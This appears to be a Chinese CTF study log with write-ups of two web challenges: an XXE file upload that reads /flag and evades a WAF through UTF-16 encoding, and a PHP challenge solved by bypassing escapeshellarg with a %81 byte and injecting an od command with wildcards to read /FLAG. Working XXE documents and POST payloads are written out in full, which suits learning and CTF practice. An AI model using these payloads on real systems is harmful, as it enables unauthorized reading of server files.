当前位置: 首页 > news >正文

5月23日学习记录

[CSAWQual 2019]Unagi

涉及:xxe漏洞,外来编码xml绕过

打开环境,发现存在文件上传

简单上传一个php

毫无疑问上传失败,说是存在waf,绕过waf才能上传,点击here看看

xml编码,可能存在xxe漏洞,并且user可以查看信息

既然可能存在xxe漏洞,就上传个xml看看

在引用外部实体后,上传还是被waf拦截,去查阅资料绕过waf保护的xxe

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<users>
<user>
<username>&admin;</username>
<password>&admin;</password>
<name>&admin;</name>
<email>&admin;</email>
<group>&admin;</group>
</user>
</users>

通过外来编码,原本对于xml的保存是用UTF-8编码保存的,现在改用UTF-16来绕过WAF

上传成功,但是flag回显不完全,user里面还存在另外一个变量

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<users>
<user>
<username>&admin;</username>
<password>&admin;</password>
<name>&admin;</name>
<email>&admin;</email>
<group>&admin;</group>
<intro>&admin;</intro>
</user>
</users>

 成功拿到flag

[广东强网杯 2021 团队组]love_Pokemon

 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){mkdir($dir);
}function DefenderBonus($Pokemon){if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){die('catch broken Pokemon! mew-_-two');}else{return $Pokemon;}}function ghostpokemon($Pokemon){if(is_array($Pokemon)){foreach ($Pokemon as $key => $pks) {$Pokemon[$key] = DefenderBonus($pks);}}else{$Pokemon = DefenderBonus($Pokemon);}
}switch($_POST['myfavorite'] ?? ""){case 'picacu!':echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);break;case 'bulbasaur!':echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);$level = $_POST["levelup"] ?? "";if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){echo file_get_contents('./hint.php');}break;case 'squirtle':echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);break;case 'mewtwo':$dream = $_POST["dream"] ?? "";if(strlen($dream)>=20){die("So Big Pokenmon!");}ghostpokemon($dream);echo shell_exec($dream);
}?> 
一.读取hint.php

发现可以读取hint.php,但是要先满足switch的循环,post传参'myfavorite'等于'bulbasaur!',在满足一个if判断就能读取hint.php,要求在正则中不存在lv100,但是经过escapeshellarg处理后存在lv100

涉及到escapeshellarg函数

escapeshellarg:
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
把字符串转码为可以在 shell 命令里使用的参数
string escapeshellarg ( string $arg )
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

 绕过escapeshellarg()

利用函数存在的漏洞:在处理超过ACill码范围的字符时,会直接过滤掉该字符;

所以利用不可见的字符来绕过escapeshellarg

选择用'%81'不可见字符绕过,第一层的payload

myfavorite=bulbasaur!&levelup=lv%81100

拿到提示flag在 /FLAG

二.读取flag

通过shell_exec,来命令执行读取flag,但是要考虑到前面的过滤,和字符串的长度

过滤了空格,flag和cat等命令,转义符也用不了

使用之前没有接触过的命令 od读取flag

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

我尝试用大写来绕过对flag的过滤,但是绕过不了,把L和A都过滤了,所以使用通配符绕过

flag在/FLAG下,所以替换为/F[B-Z][@-Z]G

之所以会用@-Z是因为@在A前面

不知道大家有没有疑惑为什么过滤的明明是'l''a',但是'L''A'也被过滤了,经过查阅发现了之前没注意的地方,这里的正则匹配是/express/i,这种匹配对于大小写不敏感,所以这里大写的FLAG绕过不了,大小写绕过的情况是对于大小写敏感的匹配时使用,也是做题的时候比较疑惑的地方

payload

myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

一串8进制数,转换为acill字符

ump = "0000000 051516 041523 043124 033173 062466 033060 061466 026467 0000020 032464 033144 032055 062143 026461 061542 032062 030455 0000040 062544 032460 032071 031545 060462 076542 000012 0000055"octs = [("0o" + n) for n in ump.split(" ") if n]hexs = [int(n, 8) for n in octs]result = ""for n in hexs:if (len(hex(n)) > 4):swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)result += swapped[2:].zfill(4)print(bytes.fromhex(result).decode())

我看nss上有人说不存在的字符绕过escapeshellarg 时,回显不对,查看源码也没有hint,如果出现这种情况的话可以抓包再传一次参(是重新传参,不是重发啊),就可以,最后查看flag也是

相关文章:

  • 002 CentOS 7.9 redis-7.2.5安装及配置
  • idea2023的git从dev分支合并到主分支master
  • AlexNet论文解析—ImageNet Classification with Deep Convolutional Neural Networks
  • AIGC-常见图像质量评估MSE、PSNR、SSIM、LPIPS、FID、CSFD,余弦相似度----理论+代码
  • 公共代理IP和独享代理IP之间的区别?
  • Java进阶学习笔记28——StringJoiner
  • python内置函数map/filter/reduce详解
  • VLAN高级特性
  • 吴恩达深度学习笔记:超 参 数 调 试 、 Batch 正 则 化 和 程 序 框 架(Hyperparameter tuning)3.4-3.5
  • SpringBoot如何实现跨域?
  • meinheld-gunicorn-flask VS uvicorn-gunicorn-fastapi 性能对比测试
  • OTA在线旅行社系统架构:连接世界的科技纽带
  • 在Spring Boot项目中集成和使用MQTT
  • Qt 概述
  • 什么是SPI,和API有啥区别
  • CentOS6 编译安装 redis-3.2.3
  • hadoop集群管理系统搭建规划说明
  • Javascripit类型转换比较那点事儿,双等号(==)
  • Js基础知识(一) - 变量
  • k8s如何管理Pod
  • rabbitmq延迟消息示例
  • vue数据传递--我有特殊的实现技巧
  • 检测对象或数组
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 你对linux中grep命令知道多少?
  • Unity3D - 异步加载游戏场景与异步加载游戏资源进度条 ...
  • ​​​​​​​​​​​​​​汽车网络信息安全分析方法论
  • ​如何防止网络攻击?
  • !!【OpenCV学习】计算两幅图像的重叠区域
  • (2.2w字)前端单元测试之Jest详解篇
  • (Redis使用系列) Springboot 实现Redis 同数据源动态切换db 八
  • (回溯) LeetCode 131. 分割回文串
  • (算法)区间调度问题
  • (一)使用Mybatis实现在student数据库中插入一个学生信息
  • (轉貼) 蒼井そら挑戰筋肉擂台 (Misc)
  • *** 2003
  • *ST京蓝入股力合节能 着力绿色智慧城市服务
  • .mkp勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .net 按比例显示图片的缩略图
  • .net 设置默认首页
  • .NET 使用 ILRepack 合并多个程序集(替代 ILMerge),避免引入额外的依赖
  • .net 桌面开发 运行一阵子就自动关闭_聊城旋转门家用价格大约是多少,全自动旋转门,期待合作...
  • .NetCore实践篇:分布式监控Zipkin持久化之殇
  • .net中我喜欢的两种验证码
  • .net中应用SQL缓存(实例使用)
  • @RequestParam详解
  • [<死锁专题>]
  • [Android Studio] 开发Java 程序
  • [bzoj1038][ZJOI2008]瞭望塔
  • [C#]C#学习笔记-CIL和动态程序集
  • [C#7] 1.Tuples(元组)
  • [ChromeApp]指南!让你的谷歌浏览器好用十倍!
  • [codevs 1515]跳 【解题报告】
  • [echarts] y轴不显示0
  • [FreeRTOS 基础知识] 栈